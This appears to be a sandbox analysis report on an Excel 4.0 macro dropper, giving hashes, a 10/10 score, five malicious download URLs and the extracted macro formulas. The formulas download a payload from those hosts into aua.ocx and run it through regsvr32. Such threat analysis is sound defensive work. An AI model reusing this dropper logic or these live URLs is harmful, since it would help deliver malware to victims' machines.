General

  • Target

    35d9a0c9169fe2fda39ffb46d8d0ac3d02763ce1e8e33142974712d3bd3d6ed6

  • Size

    69KB

  • Sample

    241120-sytb6sybrc

  • MD5

    afc50d02d1ce16c4db3cd49ae0b97a30

  • SHA1

    a515857ef5c4194d369571ddba284e057fa3e51b

  • SHA256

    35d9a0c9169fe2fda39ffb46d8d0ac3d02763ce1e8e33142974712d3bd3d6ed6

  • SHA512

    e2565eae1e531d5c8a0d255e3773c9012436f975313df9ce00507a64c78d8c03b056a2705990eb075dbc97e8cebe2f62b25e5e5e3b545a43e858fa9f77e39691

  • SSDEEP

    1536:dp0b/XHTWhxndhjh/VwBpSZobSex7jB0FfuZibVyg:czWhxHjh88ZoH7juFuZiQg

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://vasilestudio.com/wp-admin/pZ1vbd5Z/

https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/

https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/

https://triclicks.net/wp-admin/bv/

https://thecanadianarab.com/wp-content/VJ/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vasilestudio.com/wp-admin/pZ1vbd5Z/","..\aua.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://triclicks.net/wp-admin/bv/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thecanadianarab.com/wp-content/VJ/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aua.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://vasilestudio.com/wp-admin/pZ1vbd5Z/

xlm40.dropper

https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/

xlm40.dropper

https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/

xlm40.dropper

https://triclicks.net/wp-admin/bv/

xlm40.dropper

https://thecanadianarab.com/wp-content/VJ/

Targets

    • Target

      35d9a0c9169fe2fda39ffb46d8d0ac3d02763ce1e8e33142974712d3bd3d6ed6

    • Size

      69KB

    • MD5

      afc50d02d1ce16c4db3cd49ae0b97a30

    • SHA1

      a515857ef5c4194d369571ddba284e057fa3e51b

    • SHA256

      35d9a0c9169fe2fda39ffb46d8d0ac3d02763ce1e8e33142974712d3bd3d6ed6

    • SHA512

      e2565eae1e531d5c8a0d255e3773c9012436f975313df9ce00507a64c78d8c03b056a2705990eb075dbc97e8cebe2f62b25e5e5e3b545a43e858fa9f77e39691

    • SSDEEP

      1536:dp0b/XHTWhxndhjh/VwBpSZobSex7jB0FfuZibVyg:czWhxHjh88ZoH7juFuZiQg

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks